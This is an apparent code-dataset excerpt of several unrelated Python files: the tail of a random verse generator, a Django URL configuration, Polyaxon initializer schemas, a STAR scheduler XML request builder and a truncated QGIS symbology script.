words[\"adjectives\"]:\n return f\"{particle} {noun} {verb}\"\n\n return f\"{particle} {adjective} {noun} {verb}\"\n\n else:\n adverb = choice(words[\"adverbs\"])\n return f\"{particle} {noun} {verb} {adverb}\"\n\n\ndef get_strophe(lines, all_words):\n words = {\"particles\": all_words[\"particles\"].copy(),\n \"nouns\": all_words[\"nouns\"].copy(),\n \"verbs\": all_words[\"verbs\"].copy(),\n \"adverbs\": all_words[\"adverbs\"].copy(),\n \"adjectives\": all_words.get(\"adjectives\", []).copy()}\n\n strophe = \"\"\n\n for _ in range(lines):\n strophe += f\"{get_line(words)}\\n\"\n\n return strophe\n\n\nwords = {\n \"particles\": [\"a\", \"the\", \"her\", \"his\", \"another\", \"the other\", \"my\", \"our\", \"mine\", \"their\"],\n\n \"nouns\": [\"cat\", \"dog\", \"man\", \"woman\", \"boy\", \"girl\", \"granny\", \"wife\",\n \"boss\", \"horse\", \"mate\", \"daddy\", \"friend\", \"squirrel\"],\n\n \"verbs\": [\"sang\", \"ran\", \"jumped\", \"heard\", \"answered\", \"went\", \"told\", \"hoped\",\n \"felt\", \"slept\", \"hopped\", \"cried\", \"laughed\", \"walked\", \"dug\", \"came\"],\n\n \"adverbs\": [\"loudly\", \"quietly\", \"well\", \"badly\", \"slowly\", \"politely\",\n \"rudely\", \"indeed\", \"instead\", \"rarely\", \"recently\"],\n\n \"adjectives\": []\n}\n\ntry:\n lines = int(argv[1])\n\nexcept (IndexError, ValueError):\n lines = LINES_NUMBER\n\ntry:\n with open(f\"{argv[2]}\", mode='r') as file:\n for line in file.readlines():\n words[\"nouns\"].append(line.strip())\n\nexcept FileNotFoundError:\n print(\"Файл с существительными не найден\")\n\nexcept IndexError:\n print(\"Будет использован стандартный набор существительных\")\n\ntry:\n with open(f\"{argv[3]}\", mode='r') as file:\n for line in file.readlines():\n words[\"verbs\"].append(line.strip())\n\nexcept FileNotFoundError:\n print(\"Файл с глаголами не найден\")\n\nexcept IndexError:\n print(\"Будет использован стандартный набор глаголов\")\n\ntry:\n with open(f\"{argv[4]}\", mode='r') as file:\n for line in file.readlines():\n words[\"adjectives\"].append(line.strip())\n\nexcept FileNotFoundError:\n print(\"Файл с прилагательными не найден\")\n\nexcept IndexError:\n print(\"Прилагательные не будут использованы\")\n\nfor _ in range(lines // LINES_NUMBER):\n print(get_strophe(LINES_NUMBER, words))\n\nfor _ in range(lines % LINES_NUMBER):\n print(get_line(words))\n\ninput(\"\\nPress enter to exit\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"346825691","text":"\"\"\"Multimedia_quality_estimators_1 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom user_quality import views as user_view\nfrom admin_quality import views as admin_view\n\nurlpatterns = [\n url('admin/', admin.site.urls),\n\n url(r'^$', user_view.ulogin_page, name=\"ulogin_page\"),\n url(r'^uregister_page/$', user_view.uregister_page, name=\"uregister_page\"),\n url(r'^umultimedia_page/$', user_view.umultimedia_page, name=\"umultimedia_page\"),\n url(r'^uview_video_page/$', user_view.uview_video_page, name=\"uview_video_page\"),\n url(r'^umydetails_page/$', user_view.umydetails_page, name = \"umydetails_page\"),\n url(r'^uupdate_page/$', user_view.uupdate_page, name=\"uupdate_page\"),\n url(r'^userrequest/(?P\\d+)/', user_view.userrequest, name=\"userrequest\"),\n url(r'^ulogout_page/$', user_view.ulogout_page, name=\"ulogout_page\"),\n url('^user/otppage/(?P\\d+)$', user_view.otppage, name=\"otppage\"),\n url(r'^udownload/$', user_view.udownload, name=\"udownload\"),\n url(r'^ucharts/(?P\\w+)', user_view.ucharts,name=\"ucharts\"),\n\n\n url(r'^alogin_page/$', admin_view.alogin_page, name=\"alogin_page\"),\n url(r'^avideo_upload_page/$', admin_view.avideo_upload_page, name=\"avideo_upload_page\"),\n url(r'^viewuserrequest/$', admin_view.viewuserrequest, name=\"viewuserrequest\"),\n url(r'^userrequest/accept/(?P\\d+)/$', admin_view.accept, name=\"accept\"),\n url(r'^userrequest/reject/(?P\\d+)/$', admin_view.reject, name=\"reject\"),\n url(r'^alogout_page/$', admin_view.alogout_page, name=\"alogout_page\"),\n url(r'^charts/(?P\\w+)', admin_view.charts,name=\"charts\"),\n\n]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"Code/Multimedia_quality_estimators_1/Multimedia_quality_estimators_1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"413720594","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nfrom marshmallow import fields, validate\n\nfrom polyaxon_schemas.base import BaseConfig, BaseMultiSchema, BaseSchema\nfrom polyaxon_schemas.ml.fields import DType\n\n# pylint:disable=too-many-lines\n\n\nclass ZerosInitializerSchema(BaseSchema):\n dtype = DType(allow_none=True)\n\n @staticmethod\n def schema_config():\n return ZerosInitializerConfig\n\n\nclass ZerosInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates tensors initialized to 0.\n\n Args:\n dtype: The data type.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n Zeros:\n ```\n\n Using custom values\n\n ```yaml\n Zeros:\n dtype: int16\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: Zeros\n ```\n \"\"\"\n IDENTIFIER = 'Zeros'\n SCHEMA = ZerosInitializerSchema\n\n def __init__(self, dtype='float32'):\n self.dtype = dtype\n\n\nclass OnesInitializerSchema(BaseSchema):\n dtype = DType(allow_none=True)\n\n @staticmethod\n def schema_config():\n return OnesInitializerConfig\n\n\nclass OnesInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates tensors initialized to 1.\n\n Args:\n dtype: The data type.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n Ones:\n ```\n\n Using custom values\n\n ```yaml\n Ones:\n dtype: int16\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: Ones\n ```\n \"\"\"\n IDENTIFIER = 'Ones'\n SCHEMA = OnesInitializerSchema\n\n def __init__(self, dtype='float32'):\n self.dtype = dtype\n\n\nclass ConstantInitializerSchema(BaseSchema):\n value = fields.Int(allow_none=True)\n dtype = DType(allow_none=True)\n\n @staticmethod\n def schema_config():\n return ConstantInitializerConfig\n\n\nclass ConstantInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates tensors with constant values.\n\n The resulting tensor is populated with values of type `dtype`, as\n specified by arguments `value` following the desired `shape` of the\n new tensor (see examples below).\n\n The argument `value` can be a constant value, or a list of values of type\n `dtype`. If `value` is a list, then the length of the list must be less\n than or equal to the number of elements implied by the desired shape of the\n tensor. In the case where the total number of elements in `value` is less\n than the number of elements required by the tensor shape, the last element\n in `value` will be used to fill the remaining entries. If the total number of\n elements in `value` is greater than the number of elements required by the\n tensor shape, the initializer will raise a `ValueError`.\n\n Args:\n value: A Python scalar, list of values, or a N-dimensional numpy array. All\n elements of the initialized variable will be set to the corresponding\n value in the `value` argument.\n dtype: The data type.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n ```yaml\n Constant:\n value: 3\n dtype: int16\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer:\n Constant:\n value: 3\n ```\n \"\"\"\n IDENTIFIER = 'Constant'\n SCHEMA = ConstantInitializerSchema\n\n def __init__(self, value=0, dtype='float32'):\n self.dtype = dtype\n self.value = value\n\n\nclass UniformInitializerSchema(BaseSchema):\n minval = fields.Number(allow_none=True)\n maxval = fields.Number(allow_none=True)\n dtype = DType(allow_none=True)\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return UniformInitializerConfig\n\n\nclass UniformInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates tensors with a uniform distribution.\n\n Args:\n minval: A python scalar or a scalar tensor. Lower bound of the range\n of random values to generate.\n maxval: A python scalar or a scalar tensor. Upper bound of the range\n of random values to generate. Defaults to 1 for float types.\n seed: A Python integer. Used to create random seeds. See\n @{tf.set_random_seed} for behavior.\n dtype: The data type.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n ```yaml\n Uniform:\n minval: 1\n maxval: 2\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: Uniform\n ```\n\n or\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer:\n Uniform:\n minval: 1\n ```\n \"\"\"\n IDENTIFIER = 'Uniform'\n SCHEMA = UniformInitializerSchema\n\n def __init__(self, minval=0, maxval=None, seed=None, dtype='float32'):\n self.seed = seed\n self.dtype = dtype\n self.minval = minval\n self.maxval = maxval\n\n\nclass NormalInitializerSchema(BaseSchema):\n mean = fields.Number(allow_none=True)\n stddev = fields.Number(allow_none=True)\n dtype = DType(allow_none=True)\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return NormalInitializerConfig\n\n\nclass NormalInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates tensors with a normal distribution.\n\n Args:\n mean: a python scalar or a scalar tensor. Mean of the random values to generate.\n stddev: a python scalar or a scalar tensor. Standard deviation of the\n random values to generate.\n seed: A Python integer. Used to create random seeds. See\n @{tf.set_random_seed} for behavior.\n dtype: The data type. Only floating point types are supported.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n ```yaml\n Normal:\n mean: 0.5\n stddev: 1.\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: Normal\n ```\n\n or\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer:\n Normal:\n mean: 1.\n ```\n \"\"\"\n IDENTIFIER = 'Normal'\n SCHEMA = NormalInitializerSchema\n\n def __init__(self, mean=0., stddev=1., seed=None, dtype='float32'):\n self.seed = seed\n self.dtype = dtype\n self.mean = mean\n self.stddev = stddev\n\n\nclass TruncatedNormalInitializerSchema(BaseSchema):\n mean = fields.Number(allow_none=True)\n stddev = fields.Number(allow_none=True)\n\n @staticmethod\n def schema_config():\n return TruncatedNormalInitializerConfig\n\n\nclass TruncatedNormalInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates a truncated normal distribution.\n\n These values are similar to values from a `random_normal_initializer`\n except that values more than two standard deviations from the mean\n are discarded and re-drawn. This is the recommended initializer for\n neural network weights and filters.\n\n Args:\n mean: a python scalar or a scalar tensor. Mean of the random values to generate.\n stddev: a python scalar or a scalar tensor. Standard deviation of the\n random values to generate.\n seed: A Python integer. Used to create random seeds. See\n @{tf.set_random_seed} for behavior.\n dtype: The data type. Only floating point types are supported.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n ```yaml\n TruncatedNormal:\n mean: 0.5\n stddev: 1.\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: TruncatedNormal\n ```\n\n or\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer:\n TruncatedNormal:\n mean: 1.\n ```\n \"\"\"\n IDENTIFIER = 'TruncatedNormal'\n SCHEMA = TruncatedNormalInitializerSchema\n\n def __init__(self, mean=0., stddev=1., seed=None, dtype='float32'):\n self.seed = seed\n self.dtype = dtype\n self.mean = mean\n self.stddev = stddev\n\n\nclass VarianceScalingInitializerSchema(BaseSchema):\n scale = fields.Float(allow_none=True)\n mode = fields.Str(allow_none=True, validate=validate.OneOf(['fan_in', 'fan_out', 'fan_avg']))\n distribution = fields.Str(allow_none=True)\n dtype = DType(allow_none=True)\n\n @staticmethod\n def schema_config():\n return VarianceScalingInitializerConfig\n\n\nclass VarianceScalingInitializerConfig(BaseConfig):\n \"\"\"Initializer capable of adapting its scale to the shape of weights tensors.\n\n With `distribution=\"normal\"`, samples are drawn from a truncated normal\n distribution centered on zero, with `stddev = sqrt(scale / n)`\n where n is:\n - number of input units in the weight tensor, if mode = \"fan_in\"\n - number of output units, if mode = \"fan_out\"\n - average of the numbers of input and output units, if mode = \"fan_avg\"\n\n With `distribution=\"uniform\"`, samples are drawn from a uniform distribution\n within [-limit, limit], with `limit = sqrt(3 * scale / n)`.\n\n Args:\n scale: Scaling factor (positive float).\n mode: One of \"fan_in\", \"fan_out\", \"fan_avg\".\n distribution: Random distribution to use. One of \"normal\", \"uniform\".\n seed: A Python integer. Used to create random seeds. See\n @{tf.set_random_seed} for behavior.\n dtype: The data type. Only floating point types are supported.\n\n Raises:\n ValueError: In case of an invalid value for the \"scale\", mode\" or \"distribution\" arguments.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n ```yaml\n VarianceScaling:\n scale: 0.5\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: VarianceScaling\n ```\n\n or\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer:\n VarianceScaling:\n scale: 1.\n mode: fan_out\n ```\n \"\"\"\n IDENTIFIER = 'VarianceScaling'\n SCHEMA = VarianceScalingInitializerSchema\n\n def __init__(self, scale=1., mode='fan_in', distribution=\"normal\", dtype='float32'):\n self.scale = scale\n self.mode = mode\n self.distribution = distribution\n self.dtype = dtype\n\n\nclass IdentityInitializerSchema(BaseSchema):\n gain = fields.Float(allow_none=True)\n\n @staticmethod\n def schema_config():\n return IdentityInitializerConfig\n\n\nclass IdentityInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates the identity matrix.\n\n Only use for 2D matrices.\n\n Args:\n gain: Multiplicative factor to apply to the identity matrix.\n dtype: The type of the output.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n ```yaml\n Identity:\n gain: 0.5\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: Identity\n ```\n\n or\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer:\n Identity:\n gain: 0.5\n ```\n \"\"\"\n IDENTIFIER = 'Identity'\n SCHEMA = IdentityInitializerSchema\n\n def __init__(self, gain=1.):\n self.gain = gain\n\n\nclass OrthogonalInitializerSchema(BaseSchema):\n mean = fields.Number(allow_none=True)\n stddev = fields.Number(allow_none=True)\n gain = fields.Float(allow_none=True)\n\n @staticmethod\n def schema_config():\n return OrthogonalInitializerConfig\n\n\nclass OrthogonalInitializerConfig(BaseConfig):\n \"\"\"Initializer that generates an orthogonal matrix.\n\n If the shape of the tensor to initialize is two-dimensional, it is initialized\n with an orthogonal matrix obtained from the QR decomposition of a matrix of\n uniform random numbers. If the matrix has fewer rows than columns then the\n output will have orthogonal rows. Otherwise, the output will have orthogonal\n columns.\n\n If the shape of the tensor to initialize is more than two-dimensional,\n a matrix of shape `(shape[0] * ... * shape[n - 2], shape[n - 1])`\n is initialized, where `n` is the length of the shape vector.\n The matrix is subsequently reshaped to give a tensor of the desired shape.\n\n Args:\n gain: multiplicative factor to apply to the orthogonal matrix\n dtype: The type of the output.\n seed: A Python integer. Used to create random seeds. See\n @{tf.set_random_seed} for behavior.\n\n Returns:\n An initializer.\n\n Polyaxonfile usage:\n\n ```yaml\n Orthogonal:\n gain: 0.5\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: Orthogonal\n ```\n\n or\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer:\n Orthogonal:\n gain: 0.5\n ```\n \"\"\"\n IDENTIFIER = 'Orthogonal'\n SCHEMA = OrthogonalInitializerSchema\n\n def __init__(self, gain=1., seed=None, dtype='float32'):\n self.seed = seed\n self.dtype = dtype\n self.gain = gain\n\n\nclass GlorotUniformInitializerSchema(BaseSchema):\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return GlorotUniformInitializerConfig\n\n\nclass GlorotUniformInitializerConfig(BaseConfig):\n \"\"\"Glorot uniform initializer, also called Xavier uniform initializer.\n\n It draws samples from a uniform distribution within [-limit, limit]\n where `limit` is `sqrt(6 / (fan_in + fan_out))`\n where `fan_in` is the number of input units in the weight tensor\n and `fan_out` is the number of output units in the weight tensor.\n\n Args:\n seed: A Python integer. Used to seed the random generator.\n\n Returns:\n An initializer.\n\n References:\n Glorot & Bengio, AISTATS 2010\n http://jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n GlorotUniform:\n ```\n\n Using custom values\n\n ```yaml\n GlorotUniform:\n seed: 10\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: GlorotUniform\n ```\n \"\"\"\n IDENTIFIER = 'GlorotUniform'\n SCHEMA = GlorotUniformInitializerSchema\n\n def __init__(self, seed=None):\n self.seed = seed\n\n\nclass GlorotNormalInitializerSchema(BaseSchema):\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return GlorotNormalInitializerConfig\n\n\nclass GlorotNormalInitializerConfig(BaseConfig):\n \"\"\"Glorot normal initializer, also called Xavier normal initializer.\n\n It draws samples from a truncated normal distribution centered on 0\n with `stddev = sqrt(2 / (fan_in + fan_out))`\n where `fan_in` is the number of input units in the weight tensor\n and `fan_out` is the number of output units in the weight tensor.\n\n Args:\n seed: A Python integer. Used to seed the random generator.\n\n Returns:\n An initializer.\n\n References:\n Glorot & Bengio, AISTATS 2010\n http://jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n GlorotNormal:\n ```\n\n Using custom values\n\n ```yaml\n GlorotNormal:\n seed: 10\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: GlorotNormal\n ```\n \"\"\"\n IDENTIFIER = 'GlorotNormal'\n SCHEMA = GlorotNormalInitializerSchema\n\n def __init__(self, seed=None):\n self.seed = seed\n\n\nclass HeUniformInitializerSchema(BaseSchema):\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return HeUniformInitializerConfig\n\n\nclass HeUniformInitializerConfig(BaseConfig):\n \"\"\"He uniform variance scaling initializer.\n\n It draws samples from a uniform distribution within [-limit, limit]\n where `limit` is `sqrt(6 / fan_in)`\n where `fan_in` is the number of input units in the weight tensor.\n\n Args:\n seed: A Python integer. Used to seed the random generator.\n\n Returns:\n An initializer.\n\n References:\n He et al., http://arxiv.org/abs/1502.01852\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n HeUniform:\n ```\n\n Using custom values\n\n ```yaml\n HeUniform:\n seed: 10\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: HeUniform\n ```\n \"\"\"\n IDENTIFIER = 'HeUniform'\n SCHEMA = HeUniformInitializerSchema\n\n def __init__(self, seed=None):\n self.seed = seed\n\n\nclass HeNormalInitializerSchema(BaseSchema):\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return HeNormalInitializerConfig\n\n\nclass HeNormalInitializerConfig(BaseConfig):\n \"\"\"He normal initializer.\n\n It draws samples from a truncated normal distribution centered on 0\n with `stddev = sqrt(2 / fan_in)`\n where `fan_in` is the number of input units in the weight tensor.\n\n Args:\n seed: A Python integer. Used to seed the random generator.\n\n Returns:\n An initializer.\n\n References:\n He et al., http://arxiv.org/abs/1502.01852\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n HeNormal:\n ```\n\n Using custom values\n\n ```yaml\n HeNormal:\n seed: 10\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: HeNormal\n ```\n \"\"\"\n IDENTIFIER = 'HeNormal'\n SCHEMA = HeNormalInitializerSchema\n\n def __init__(self, seed=None):\n self.seed = seed\n\n\nclass LecunUniformInitializerSchema(BaseSchema):\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return LecunUniformInitializerConfig\n\n\nclass LecunUniformInitializerConfig(BaseConfig):\n \"\"\"LeCun uniform initializer.\n\n It draws samples from a uniform distribution within [-limit, limit]\n where `limit` is `sqrt(3 / fan_in)`\n where `fan_in` is the number of input units in the weight tensor.\n\n Args:\n seed: A Python integer. Used to seed the random generator.\n\n Returns:\n An initializer.\n\n References:\n LeCun 98, Efficient Backprop,\n http://yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n LecunUniform:\n ```\n\n Using custom values\n\n ```yaml\n LecunUniform:\n seed: 10\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: LecunUniform\n ```\n \"\"\"\n IDENTIFIER = 'LecunUniform'\n SCHEMA = LecunUniformInitializerSchema\n\n def __init__(self, seed=None):\n self.seed = seed\n\n\nclass LecunNormalInitializerSchema(BaseSchema):\n seed = fields.Int(allow_none=True)\n\n @staticmethod\n def schema_config():\n return LecunNormalInitializerConfig\n\n\nclass LecunNormalInitializerConfig(BaseConfig):\n \"\"\"LeCun normal initializer.\n\n It draws samples from a truncated normal distribution centered on 0\n with `stddev = sqrt(1 / fan_in)`\n where `fan_in` is the number of input units in the weight tensor.\n\n Args:\n seed: A Python integer. Used to seed the random generator.\n\n Returns:\n An initializer.\n\n References:\n - [Self-Normalizing Neural Networks](https://arxiv.org/abs/1706.02515)\n - [Efficient\n Backprop](http://yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf)\n\n Polyaxonfile usage:\n\n Using the default values\n\n ```yaml\n LecunNormal:\n ```\n\n Using custom values\n\n ```yaml\n LecunNormal:\n seed: 10\n ```\n\n Example with layer\n\n ```yaml\n Conv2D:\n filters: 10\n kernel_size: 8\n kernel_initializer: LecunNormal\n ```\n \"\"\"\n IDENTIFIER = 'LecunNormal'\n SCHEMA = LecunNormalInitializerSchema\n\n def __init__(self, seed=None):\n self.seed = seed\n\n\nclass InitializerSchema(BaseMultiSchema):\n __multi_schema_name__ = 'initializer'\n __configs__ = {\n ZerosInitializerConfig.IDENTIFIER: ZerosInitializerConfig,\n OnesInitializerConfig.IDENTIFIER: OnesInitializerConfig,\n ConstantInitializerConfig.IDENTIFIER: ConstantInitializerConfig,\n UniformInitializerConfig.IDENTIFIER: UniformInitializerConfig,\n NormalInitializerConfig.IDENTIFIER: NormalInitializerConfig,\n TruncatedNormalInitializerConfig.IDENTIFIER: TruncatedNormalInitializerConfig,\n VarianceScalingInitializerConfig.IDENTIFIER: VarianceScalingInitializerConfig,\n IdentityInitializerConfig.IDENTIFIER: IdentityInitializerConfig,\n OrthogonalInitializerConfig.IDENTIFIER: OrthogonalInitializerConfig,\n GlorotUniformInitializerConfig.IDENTIFIER: GlorotUniformInitializerConfig,\n GlorotNormalInitializerConfig.IDENTIFIER: GlorotNormalInitializerConfig,\n HeUniformInitializerConfig.IDENTIFIER: HeUniformInitializerConfig,\n HeNormalInitializerConfig.IDENTIFIER: HeNormalInitializerConfig,\n LecunUniformInitializerConfig.IDENTIFIER: LecunUniformInitializerConfig,\n LecunNormalInitializerConfig.IDENTIFIER: LecunNormalInitializerConfig,\n }\n __support_snake_case__ = True\n","sub_path":"polyaxon_schemas/ml/initializations.py","file_name":"initializations.py","file_ext":"py","file_size_in_byte":21581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"248076719","text":"import xml.etree.ElementTree as et\nimport xml.dom.minidom as md\nfrom .job import Job\nfrom argparse import ArgumentParser as ap\nimport subprocess\n\nclass Request(object):\n \"\"\"An object that represents a single scheduler request\"\"\"\n\n def __init__(self, job = Job()):\n \"\"\"Initialize some defaults\"\"\"\n self.job = job\n\n def get_job_tree(self, job):\n \"\"\"Turn a Job object into an xml element tree\"\"\"\n # The root of the job element tree\n root = et.Element('job')\n for attribute, value in job.config['attributes'].items():\n root.set(attribute, value)\n\n # Add commands\n commands = et.SubElement(root, 'command')\n commands.text = ''\n for com in job.config['commands']:\n commands.text += '\\r\\n\\t\\t' + com\n commands.text += '\\r\\n\\t'\n\n # Add Generator stuff\n generator = et.SubElement(root, 'Generator')\n generator_location = et.SubElement(generator, 'Location')\n generator_location.text = job.config['generator_location']\n generator_report_location = et.SubElement(generator, 'ReportLocation')\n generator_report_location.text = job.config['generator_report_location']\n\n # Add Sandbox stuff\n sandbox = et.SubElement(root, 'SandBox')\n if job.config['sandbox_installer_option']:\n sandbox.set('installer', job.config['sandbox_installer_option'])\n sandbox_package = et.SubElement(sandbox, 'Package')\n sandbox_package.set('name', job.config['sandbox_package_name'])\n for f in job.config['sandbox_files']:\n sandbox_files = et.SubElement(sandbox_package, 'File')\n sandbox_files.text = f\n\n # Add input files\n for url, n_files in job.config['input_files']:\n input_files = et.SubElement(root, 'input')\n input_files.set('URL', url)\n input_files.set('nFiles', n_files)\n\n # Add output files\n for toUrl, from_scratch in job.config['output_files']:\n output_files = et.SubElement(root, 'output')\n output_files.set('toURL', toUrl)\n output_files.set('fromScratch', from_scratch)\n\n # Specify stdout and stderr\n stdout = et.SubElement(root, 'stdout')\n stdout.set('discard', 'true')\n stderr = et.SubElement(root, 'stderr')\n stderr.set('URL', job.config['stderr_path'])\n\n return root\n\n def make_xml(self):\n \"\"\"Iterate over jobs and make and xml document out of them\"\"\"\n self.tree = self.get_job_tree(self.job)\n \n def __str__(self):\n self.make_xml()\n dom = md.parseString( et.tostring(self.tree) ) \n bytes_str = dom.toprettyxml(encoding = 'utf-8')\n return bytes_str.decode('utf-8')\n\n\nif __name__ == '__main__':\n\n argparser = ap()\n argparser.add_argument('config_file')\n argparser.add_argument('-f', '--file', help='Name of xml file to write to')\n argparser.add_argument('-s', '--submit', help='Submit xml file after writing',\n action='store_true')\n args = argparser.parse_args()\n\n job = Job(config_file=args.config_file)\n req = Request(job)\n\n if args.file:\n with open(args.file, 'w') as f:\n f.write(req.__str__())\n else:\n print(req)\n\n if args.submit and args.file:\n subprocess.call(['star-submit', args.file])\n elif args.submit:\n print('User invoked --submit but did not specify an xml file with --file')\n\n","sub_path":"request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"294753772","text":"vl = iface.activeLayer()\nstmana= vl.styleManager() #QgsMapLayerStyleManager\nstmananame = stmana.currentStyle ()\nmaplayersyle = vl.styleManager().style(stmananame ) #QgsMapLayerStyle \n\n\n\nrenderer = vl.rendererV2() #QgsFeatureRendererV2\nprint(renderer.__class__)\n\n#print(renderer.symbol())\n\n\n\n#print(maplayersyle.xmlData () )\n\n\n\n#tt = qgis.gui.QgsCategorizedSymbolRendererWidget(vl)\n\n#tt = qgis.gui.QgsSimpleLineSymbolLayerV2Widget(vl)\n#tt = qgis.gui.QgsLinePatternFillSymbolLayerWidget(vl)\n#tt = qgis.gui.QgsMarkerLineSymbolLayerV2Widget(vl)\n#tt = qgis.gui.QgsArrowSymbolLayerWidget (vl)\n#tt = qgis.gui.QgsGeometryGeneratorSymbolLayerWidget(vl)\n#tt = qgis.gui.QgsLinePatternFillSymbolLayerWidget(vl) \n#tt = qgis.gui.QgsMapLayerStyleManagerWidget(vl,iface.mapCanvas())\n\n#QgsPanelWidget\n\n#QgsLayerPropertiesWidget (QgsSymbolLayerV2 *layer, const QgsSymbolV2 *symbol, const QgsVectorLayer *vl, QWidget *parent=nullptr)\n#tt = qgis.gui.QgsLayerPropertiesWidget(renderer.symbol().symbolLayer(0), renderer.symbol() , vl)\n\n#QgsSingleSymbolRendererV2Widget (QgsVectorLayer *layer, QgsStyleV2 *style, QgsFeatureRendererV2 *renderer)\n#tt = qgis.gui.QgsSingleSymbolRendererV2Widget(vl, qgis.core.QgsStyleV2.defaultStyle() ,renderer)\n#tt.setDockMode(False)\n\n\n#tt = qgis.gui.QgsRendererV2PropertiesDialog(vl,qgis.core.QgsStyleV2.defaultStyle(),True)\n#tt.exec_()\n#tt.onOK ()\n\n\ntt = qgis.gui.QgsSymbolV2SelectorDialog( vl.rendererV2().symbol(), qgis.core.QgsStyleV2.defaultStyle(),\n vl, # QgsVectorLayer\n None, # Parent\n False # Embedded\n )\nif tt.exec_():\n \n vl.triggerRepaint()\n#qgis.gui.QgsPanelWidget.openPanel(tt)\n#res = tt.openPanel(tt)\nprint('res',res)\n#tt.applyChanges ()\n#vl.setRendererV2(tt.renderer())\n#tt.showSymbolLevelsDialog(renderer)\n\n#QgsStyleV2ManagerDialog (QgsStyleV2 *style, QWidget *parent=nullptr)\n#tt = qgis.gui.QgsStyleV2ManagerDialog(qgis.core.QgsStyleV2.defaultStyle() )\n#QgsSymbolV2SelectorWidget (QgsSymbolV2 *symbol, QgsStyleV2 *style, 